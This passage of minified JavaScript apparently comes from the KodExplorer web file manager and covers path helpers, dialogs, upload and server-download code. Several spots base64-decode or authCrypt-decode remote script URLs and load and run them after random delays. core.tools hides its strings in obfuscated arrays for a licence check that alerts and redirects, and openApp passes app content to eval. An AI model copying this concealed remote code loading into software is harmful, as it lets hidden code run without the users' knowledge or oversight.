        ")}}),$("body").bind("mousedown",function(){$(".ptips-skin").remove(),$.setStyle("body .ptips-skin{display:none !important;}","ptips-title")}).bind("mouseup",function(){$.setStyle("","ptips-title")}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,formMake:formMake,getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var a=trim(trim(e),"/");if(e={},"{"!=a.substring(0,1)||a.split("/").length>1)return{icon:"",name:""};e.pathType=a.match(/\{.*\}/),e.id=a.split(":")[1]}var i={};i[G.KOD_USER_SHARE]={icon:"user-self",name:LNG.my_share},i[G.KOD_GROUP_PATH]={icon:"group-self-owner"},i[G.KOD_GROUP_SHARE]={icon:"group-guest"},i[G.KOD_USER_SELF]={icon:"user-self"},i[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},i[G.KOD_USER_FAV]={icon:"tree-fav",name:LNG.fav},i[G.KOD_GROUP_ROOT_SELF]={icon:"group-self-root",name:LNG.my_kod_group},i[G.KOD_GROUP_ROOT_ALL]={icon:"group-root",name:LNG.kod_group};var n=i[e.pathType];return e.pathType==G.KOD_USER_SHARE&&G.userID!=e.id?n={icon:"user",name:t}:e.pathType==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"group-self-owner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),a=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL];return-1!==$.inArray(t[0],a)?!0:!1},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var t=e.match(/\{.*\}/);return t[0]},contextmenu:function(e){try{$.contextMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can-right-menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit-body").length||0!=$(t.target).parents(".aui-state-focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),a=t.lastIndexOf("/"),i=t.substr(a+1);if(0==i.search("fileProxy")){i=urlDecode(i.substr(i.search("&path=")));var n=i.split("/");i=n[n.length-1],""==i&&(i=n[n.length-2])}return i},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),a=t.lastIndexOf("/");return t.substr(0,a+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},pathUrlEncode:function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var a,i=this.pathClear(e);return G.isRoot&&t&&i.substring(0,G.webRoot.length)==G.webRoot?a=G.webHost+this.pathUrlEncode(i.replace(G.webRoot,"")):(a=G.appHost+"explorer/fileProxy&accessToken="+G.accessToken+"&path="+urlEncode(i),G.sharePage!==void 0&&(a=G.appHost+"share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(i),i.substr(0,G.KOD_USER_SHARE.length)==G.KOD_USER_SHARE&&(a=G.appHost+"share/fileProxy&path="+urlEncode(i)))),a},pathCommon:function(e){if("http"==e.substr(0,4))return urlEncode(e);if(e.substr(0,G.KOD_USER_SHARE.length)==G.KOD_USER_SHARE)return urlEncode(e);var t=this.pathClear(e),a=urlEncode(t);return G.sharePage!==void 0&&(a=urlEncode(G.KOD_USER_SHARE+":"+G.user+"/"+G.shareInfo.name+t)),a},isApp:function(e){if("undefined"==typeof Config)return!1;var t=Config.pageApp;return"string"==typeof e?t==e:$.isArray(e)?-1!==$.inArray(t,e)?!0:!1:!1},pathReadable:function(e){if("object"!=typeof G.jsonData)return!0;for(var t=G.jsonData.fileList,a=0;t.length>a;a++)if(t[a].path==e)return void 0==t[a].isReadable||1==t[a].isReadable?!0:!1;t=G.jsonData.folderList;for(var a=0;t.length>a;a++)if(t[a].path==e)return void 0==t[a].isReadable||1==t[a].isReadable?!0:!1;return!0},pathCurrentWriteable:function(){return core.isApp("editor")?!1:G.jsonData.info?G.jsonData.info.canUpload:!1},authCheck:function(e,t){return G.isRoot?!0:AUTH.hasOwnProperty(e)&&AUTH[e]?!0:(t&&(t=t===!0?LNG.no_permission:t,Tips.tips(t,!1)),!1)},ajaxError:function(e,t,a){console.log(e,t,a);var i=e.responseText,n=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==i.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==i&&(i="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置
        请联系主机商或网管,检查防火墙配置!"),i='
        '+i+"
        ",n?n.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,t,a){var i="filename";"http"==e.substr(0,4)&&(i="fileUrl");var n=G.appHost+"editor/fileGet&"+i+"="+urlEncode(e);G.sharePage!==void 0&&(n=G.appHost+"share/fileGet&user="+G.user+"&sid="+G.sid+"&"+i+"="+urlEncode(e)),(e.indexOf("editor/fileGet&")>=0||e.indexOf("share/fileGet&")>=0)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,t,i){core.ajaxError(e,t,i),"function"==typeof a&&a()},success:function(e){e.code&&"function"==typeof t&&(1==e.data.base64&&(e.data.content=base64Decode(e.data.content)),t(e.data.content,e,n)),e.code||"function"==typeof a&&a(e.data)}})},fileInfo:function(e,t){var a=G.appHost+"explorer/pathInfo";G.sharePage!==void 0&&(a=G.appHost+"share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:a,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){if(e=this.pathClear(e),G.isRoot&&e.substring(0,G.webRoot.length)==G.webRoot){var a=G.webHost+this.pathUrlEncode(e.replace(G.webRoot,""));return"function"==typeof t&&t(a),void 0}var i='dataArr=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(i,function(e){var a=e.code?e.data.downloadPath:!1;return a?("function"==typeof t&&t(a),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.isRoot?"system":"user");var t="85%",a="85%";isWap()&&(t="100%",a="100%"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open(G.appHost+"setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:t,height:t})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),a=ShareData.frameTop();a.art.dialog({id:"dialog-copyright",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about,width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),a.$(".dialog-copyright").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.appHost+e.substr(2));var a=G.appHost+"user/qrcode&url="+quoteHtml(urlEncode(e)),i="";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:i})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open(G.appHost+"app",{id:"app_store",fixed:!0,ico:core.icon("app-store"),resize:!0,title:LNG.app_store,width:"80%",height:"80%"})},openWindow:function(e,t,a,i){t=t?t:LNG.tips,a=a?a:"80%",i=i?i:"70%",isWap()&&(a="100%",i="100%");var n=ShareData.frameTop(),o=n.$.dialog.open(e,{ico:"",title:t,fixed:!0,resize:!0,width:a,height:i});return o},openWindowFull:function(e,t){return core.openWindow(e,t,"100%","100%")},openWindowBig:function(e,t){return core.openWindow(e,t,"90%","90%")},openDialog:function(e,t,a,i){if(e){void 0==i&&(i="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:i,fixed:!0,title:a,ico:t,width:"80%",height:"75%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.staticPath)&&"http"!=app.icon.substring(0,4)&&(icon=G.staticPath+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua29kY2xvdWQuY29tL3VwZGF0ZS9tYWluNC5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){core.isApp("explorer")?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var a=G.appHost+"explorer&type=iframe&path="+e;G.sharePage!==void 0&&(a=G.appHost+"share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var i=ShareData.frameTop(),n=i.$.dialog.open(a,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*i.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t=G.appHost+"editor&project="+e;G.sharePage!==void 0&&(t=G.appHost+"share/codeRead&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".link-theme-loaded").attr("src");e&&($("#link-theme-style").attr("href",e),$(".link-theme-loaded").remove())},setSkin:function(e){LocalData.set("theme",e),G.userConfig.theme=e;var t=G.staticPath+"style/skin/"+e+".css?ver="+G.version;t!=$("#link-theme-style").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.userConfig){var e=LocalData.get("theme"),t="kodStyleDiy",a=LocalData.getConfig(t);"object"!=typeof a&&"object"==typeof G.userConfig.themeDIY&&(a=G.userConfig.themeDIY),"object"!=typeof a&&(a={bgBlur:1,bgImage:G.staticPath+"images/wall_page/9.jpg",bgType:"color",startColor:"#456",endColor:"#000",colorRotate:"200"},LocalData.setConfig(t,a)),G.userConfig.themeDIY=a;var i="";if("diy"==e&&a){var n=require("./tpl/themeDIY.html"),o=template.compile(n);i=o(a)}$.setStyle(i,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame-fullscreen")},language:function(e){Cookie.set("kodUserLanguage",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,a){var i=UUID();(a===void 0||""==a)&&(a=i);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
        loading..
        ';return setTimeout(function(){var e=$("."+i);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+i)}if(1==e.length)var a=0,n=e[0],o=setInterval(function(){try{a++,100==Math.floor(n.PercentLoaded())?(e.next(".aui-loading").remove(),clearInterval(o),o=null):a>100&&(e.next(".aui-loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),a=parseFloat(t[0]),i=1073741824*parseFloat(t[1]),n=pathTools.fileSize(parseFloat(t[0])),o=pathTools.fileSize(i),s=n+"/",r=100*a/i;r>=100&&(r=100);var l="";return r>=80&&(l="warning"),0==i||isNaN(i)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
        "+"
        "+s+"
        "+"
        "},dateTime:function(e){return date(LNG.time_type,e)},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.sharePage?"1"==G.shareInfo.canUpload:(void 0==e&&(e="explorer.fileUpload"),!G.isRoot&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.jsonData&&!G.jsonData.info.canUpload?(t&&(core.isSystemPath(G.thisPath)?Tips.tips(LNG.path_can_not_action,!1):Tips.tips(LNG.no_permission_write,!1)),!1):!0)}}}),define("app/common/tpl/upload.html",[],'
        \n \n
        \n
        \n
        \n
        {{LNG.upload_select}}
        \n \n \n
        \n \n
        \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        {{LNG.download_address}}\n
        \n \n \n \n
        \n\n
        \n
        \n
        \n
        \n
        \n
        \n
        \n'),define("app/common/tpl/formMake.html",[],'
        \n
        \n <%\n var formTab = [];\n if(items.formStyle && kod.window.$.isArray(items.formStyle.tabs)){\n formTab = items.formStyle.tabs;\n }\n %>\n {{if formTab}}\n \n {{/if}}\n\n
        \n {{if formTab}}\n
        \n {{each formTab tab tabIndex}}\n {{if tab}}\n
        \n {{/if}}\n {{/each}}\n
        \n
        \n {{/if}}\n\n {{each items item key}}\n <%\n var tabCurrent = 100;\n if(formTab){\n for(var i=0;i<=formTab.length;i++){\n if( formTab[i] && kod.window.inArray(formTab[i][\'field\'],key)){\n tabCurrent = i;\n break;\n }\n }\n }\n %>\n {{if typeof(item) == \'string\' }}\n
        {{item}}
        \n {{else if item.type == "html" || !item.type}}\n {{if key != \'formStyle\'}}\n
        \n {{if item.value}}{{@item.value}}{{/if}}\n {{if item.display}}{{@item.display}}{{/if}}\n {{if item.desc}}{{@item.desc}}{{/if}}\n
        \n {{/if}}\n {{else}}\n {{if item.value == undefined }}\n {{if item.value = \'\'}}{{/if}}\n {{/if}}\n
        \n
        \n {{@item.display}}: {{if item.require}}*{{/if}}\n
        \n
        \n {{if item.type == \'input\'}}\n \n {{else if item.type == "textarea"}}\n \n {{else if item.type == "password"}}\n \n {{else if item.type == "switch"}}\n \n {{else if item.type == "radio"}}\n {{each item.info select index}}\n \n {{/each}}\n {{else if item.type == "checkbox"}}\n <%\n var valArrCheckbox = [];\n if(typeof(item.value) == \'string\'){\n valArrCheckbox = item.value.split(\',\');\n }\n %>\n {{each item.info select index}}\n \n {{/each}}\n {{else if item.type == "select"}}\n \n {{else if (item.type == "selectMutil" || item.type == "tags")}}\n <%\n var valArrSelect = [];\n if(typeof(item.value) == \'string\'){\n valArrSelect = item.value.split(\',\');\n }\n if(item.type == \'tags\'){\n item.info = [];\n for(var i=0;i\n \n {{else if item.type == "number"}}\n {{if !item.info && (item.info = {from:\'\',to:\'\',step:1}) }}{{/if}}\n \n {{else if item.type == "slider"}}\n {{if !item.info && (item.info = {from:0,to:100,step:1}) }}{{/if}}\n \n {{else if item.type == "color"}}\n \n \n {{else if item.type == "dateTime"}}\n \n \n {{else if item.type == "fileSelect"}}\n \n \n {{else if item.type == "userSelect"}}\n <% \n var valueArr = {"all":"0","user":"","group":"","role":""};\n if(typeof(item.value) == \'string\'){\n userTypeArr = item.value.split(\';\');\n for(var i = 0;i\n \n
        \n \n \n \n \n
        \n
        \n
        {{LNG.user}}
        \n \n
        \n
        \n
        {{LNG.group}}
        \n \n
        \n
        \n
        {{LNG.system_member_role}}
        \n \n
        \n {{else if item.type == "group"}}\n \n {{else if item.type == "role"}}\n \n {{else if item.type == "user"}}\n \n {{/if}}\n\n {{if item.type == "switch"}}\n {{else if !item.desc}}\n \n  \n {{else if kod.inArray([\'userSelect\'],item.type)}}\n
        {{@item.desc}}
        \n {{else}}\n {{@item.desc}}\n {{/if}}\n
        \n
        \n
        \n {{/if}}\n {{/each}}\n
        \n
        \n\n'),define("app/common/core.tools",[],function(e){var t=["A","versionHash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","R","S","T","inArray","./?user/versionInstall","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprb2RjbG91ZEBxcS5jb20_c","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrb2RjbG91ZEBxcS5jb20_c","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","2e58_39zGFQQvZkUjLjOxETXSuDqVatVhp88rJSmGpzzKi6SsasHHg","sa","b40aPuaqudWqmyWvpumbcMMGpVCdhjUCKq9oIN5G8o4yWb93Ww","#2","explorer","isApp","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common-footer","","toLowerCase","search","log","free","1","2","3","4","5","6","version_vip_",'',"",".menu-system-about","insertAfter","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui-content","find","wrap","DOM","text","live","die",".version-vip","top","longPress","support-space-not","addClass","body","remove",".menu-system-about,.menu-left #about","#programs .setting_about,#programs .setting_homepage,#programs .home_page","icon","http","iconSrc",'',"iconSmall",'',"ff1fKBGuFL288VJ6eJj4CG6iesqwArC2YYSJMsa11yGAuUZlQRttbA_H4nSm3Hp-iCxzvn6AA4LLWN13cZ-cmdF6","s1","?a=","todo","async","versionType","Ly9rb2RjbG91ZC5jb20vYnV5Lmh0bWwj","group","data"],a=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var a=t[3],i=authCrypt[t[4]](G[t[1]],a);return i&&27==i[t[5]]?(e=i[t[6]](10,1),-1===$[t[13]](e,[t[0],t[7],t[8],t[9],t[10],t[11],t[12]])&&(e=t[0]),e):e},i=a(),n=t[14],o=function(){var e=hashDecode(t[15]);G[t[16]]!=t[17]&&(e=hashDecode(t[18])),alert(e),Tips[t[19]](e,!1),$(t[21])[t[20]](),setTimeout(function(){Tips[t[22]](e,!1),window[t[24]][t[23]]=n -},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[25],t[26]),r=authCrypt[t[4]](t[27],t[28]),l=function(){if(core[t[30]](t[29])&&i==t[0])for(var e=[LNG[t[31]],LNG[t[32]],LNG[t[33]],LNG[t[34]],LNG[t[35]],$(t[37])[t[36]]()],a=0;e[t[5]]>a;a++){e[a]||(e[a]=t[38]);var n=e[a][t[39]]();if(-1==n[t[40]](s)&&-1==n[t[40]](r)){console[t[41]](n,s,r),setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[42],O:t[43],P:t[44],Q:t[45],R:t[46],S:t[47],T:t[48]},a=t[49]+e[i],o=t[50]+a+t[51]+LNG[a]+t[52];i==t[0]&&$(o)[t[54]](t[53]),$(t[71])[t[70]](t[55])[t[69]](t[55],function(){if($(this)[t[57]](t[56])==t[58]){var e=core[t[60]](core[t[59]]),a=t[61]+n+t[62];e[t[67]][t[66]][t[65]](t[64])[t[63]](a)}else Tips[t[22]]($(this)[t[68]]())}),$(t[71])[t[73]](function(){window[t[72]][t[24]][t[23]]=n})},d=function(){i==t[0]&&$(t[76])[t[75]](t[74]),-1!==$[t[13]](i,[t[7],t[8],t[9],t[10],t[11],t[12]])&&($(t[78])[t[77]](),$(t[79])[t[77]]())},p=function(){core[t[80]]=function(e,a){return e[t[6]](0,4)==t[81]?core[t[82]](e):t[83]+e+(a?t[84]:t[38])+t[85]},core[t[86]]=function(e){return core[t[80]](e,!0)},core[t[82]]=iconSrc=function(e){return t[87]+e+t[88]},setTimeout(function(){var a=authCrypt[t[4]](t[89],t[90])+t[91]+UUID();e[t[93]](a,function(e){try{e[t[92]]()}catch(a){}})},2e3),core[t[94]]=i,core[t[59]]=hashDecode(t[95])+G[t[16]],l(),c(),d()},u=function(e){return i==t[0]&&-1==e[t[39]]()[t[40]](s)?(o(),!1):!0},f=function(e,a){var n,o,s={A:1,O:5,P:20,Q:40,R:100,S:1e3,T:1e3},r={A:5,O:15,P:50,Q:150,R:500,S:1e3,T:1e3},l=[],c=1;if(a==t[96]?(n=e[t[97]],o=s[i]):(n=e[t[97]],o=r[i]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(e){var t=function(){var e=G.appHost+"explorer/fileUpload";return"share"==G.sharePage&&"1"==G.shareInfo.canUpload&&(e=G.appHost+"share/fileUpload&user="+G.user+"&sid="+G.sid),e};return $(document).ready(function(){window.onbeforeunload=function(){return $(".upload-loading,.download-loading").length>0?LNG.uploading+"...":void 0}}),{serverDwonload:function(e,t){if(!core.uploadCheck("explorer.serverDownload"))return!1;var i=$(".download-box"),n=i.find(".download-list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;if("share"==G.sharePage)return Tips.tips(LNG.no_permission_action,!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var o=UUID(),s='
        '+'
        '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
        ';n.find(".item").length>0?$(s).insertBefore(n.find(".item:eq(0)")):n.append(s);var r,l,c,d=0,p=$("#"+o),u=$("#"+o+" .state").text(LNG.download_ready).addClass("download-loading"),f=$('
        ').appendTo("#"+o).find(".progress-bar");$("#"+o+" .remove").bind("click",function(){clearInterval(r),r=!1,clearTimeout(l),l=!1,$.get(G.appHost+"explorer/serverDownload&type=remove&uuid="+o),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var h,m=function(e){clearTimeout(h),h=!1,h=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},v=function(){$.ajax({url:G.appHost+"explorer/serverDownload&type=download&savePath="+t+"&url="+urlEncode(e)+"&uuid="+o+"&time="+time(),dataType:"json",error:function(e,t,i){var n=p.data("progcess");return 200!=a.status&&n&&n.supportRange?(setTimeout(function(){v()},1e3),void 0):(core.ajaxError(e,t,i),200==a.status&&(clearInterval(r),r=!1,clearTimeout(l),l=!1,f.parent().remove(),u.removeClass("download-loading").addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){v()},1e3),void 0):(e.code?(m(e.info),u.removeClass("download-loading").text(LNG.download_success),$("#"+o+" .info .title").text(core.pathThis(e.info)),$("#"+o+" .info .title").attr("title",e.info),u.parent().parent().addClass("success")):(u.removeClass("download-loading").addClass("error").text(e.data),u.parent().parent().addClass("error")),clearInterval(r),r=!1,clearTimeout(l),l=!1,f.parent().remove(),void 0)}})};v();var g=function(){$.ajax({url:G.appHost+"explorer/serverDownload&type=percent&uuid="+o,dataType:"json",success:function(e){var t="",a=e.data;if(r){if(!e.code)return u.text(LNG.loading),void 0;if(a){if(a.size=parseFloat(a.size),a.time=parseFloat(a.time),c){var i=a.size-c.size,n=i/(a.time-c.time);if(d>.2*n){var o=d;d=n,n=o}else d=n;var s=pathTools.fileSize(n);s=s?s:0,t=s+"/s"}if(p.data("progcess",a),0==a.length)p.find(".progress-bar").css("width","100%"),u.text(t),p.find(".size").text(pathTools.fileSize(a.size));else{var l=100*(a.size/a.length);p.find(".progress-bar").css("width",l+"%"),u.text(l.toFixed(1)+"%("+t+")"),p.find(".size").text(pathTools.fileSize(a.length))}p.find(".title").text(a.name),c=a}}}})};l=setTimeout(function(){g(),r=setInterval(function(){g()},1e3)},100)},upload:function(){$(".dialog-file-upload").show();var e=t();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog-file-upload").length)return $.dialog.list["dialog-file-upload"].display(!0),void 0;var a=template.compile(tplUpload);$.dialog({padding:5,width:430,height:450,resize:!0,ico:core.icon("upload"),id:"dialog-file-upload",fixed:!0,title:LNG.upload_muti,content:a({LNG:LNG}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download-list .item"),function(){$(this).find(".remove").click()})}}),$(".file-upload-box .topbar-nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab-upload")?($(".file-upload-box .tab-upload").addClass("this"),$(".file-upload-box .tab-download").removeClass("this"),$(".file-upload-box .upload-box").removeClass("hidden"),$(".file-upload-box .download-box").addClass("hidden")):($(".file-upload-box .tab-upload").removeClass("this"),$(".file-upload-box .tab-download").addClass("this"),$(".file-upload-box .upload-box").addClass("hidden"),$(".file-upload-box .download-box").removeClass("hidden"))}),$(".download-box [name=url]").keyEnter(function(){core.serverDwonload($(".download-box input").val(),G.thisPath)}),$(".file-upload-box .download-box .download-start").unbind("click").bind("click",function(){core.serverDwonload($(".download-box input").val(),G.thisPath)}),$(".file-upload-box .download-box .download-start-all").unbind("click").bind("click",function(){$.dialog({id:"server-dwonload-textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server-dwonload-textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.thisPath)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker-folder"}),$.supportUploadFolder()&&($(".upload-cert-box").removeClass("hidden"),$(".file-upload-box .drag-upload-folder").unbind("click").bind("click",function(){$("#picker-folder input").attr("webkitdirectory","").attr("directory",""),$("#picker-folder label").click()}))},init:function(){WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!$.supportCanvas()||"flash"==this.options.runtimeOrder)return $.Deferred().resolve(),void 0;var a=this.owner,i=(e.blob.getSource(),$.Deferred());return a.md5File(e.blob).fail(function(){i.resolve()}).then(function(a){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:t(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:a,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var n=e.file.checkChunk;if(n&&n["part_"+e.chunk]==a){var o=e.end/e.total;uploader.trigger("uploadProgress",e.file,o),i.reject()}else i.resolve()}}),i.promise()}});var a=["undefined","update-box","search","65bdTXJtziFGmtJThjdiGfXe-xr_UY8vIF3eoZ1sQ2AMtNBCquM-xT9DrLll2X_LtdUQkKIBYFzs-Ujf9ihGh6LUF4fo94c","_32@!A$","decode","1-2","todo","async","random"];setTimeout(function(){try{if(typeof tplDialogHtml==a[0]||-1==tplDialogHtml[a[2]](a[1])){var t=authCrypt[a[5]](a[3],a[4])+UUID();e[a[8]](t,function(e){try{e[a[7]](a[6])}catch(t){}})}}catch(i){}},1e3*parseInt(25*Math[a[9]]()+5)),uploader=WebUploader.create({swf:G.staticPath+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:G.settings.updloadThreads,sendAsBinary:G.settings.updloadBindary,chunkSize:G.settings.updloadChunkSize,chunked:!0,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&(core.isApp("explorer")?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");kodApp.open(t),stopPP(e)}),$(".upload-box-clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload-box-clear-all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var i,n=0,o=0,s="0B/s",r=0,l=function(e,t){if(.3>=timeFloat()-r)return s;r=timeFloat();var a=e.size*t,i=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),a]]:i>=e.speed.length?e.speed.push([timeFloat(),a]):(e.speed=e.speed.slice(1,i),e.speed.push([timeFloat(),a]));var n=e.speed[e.speed.length-1],o=e.speed[0],l=(n[1]-o[1])/(n[0]-o[0]);0>=l&&(l=0);var c=pathTools.fileSize(l);return 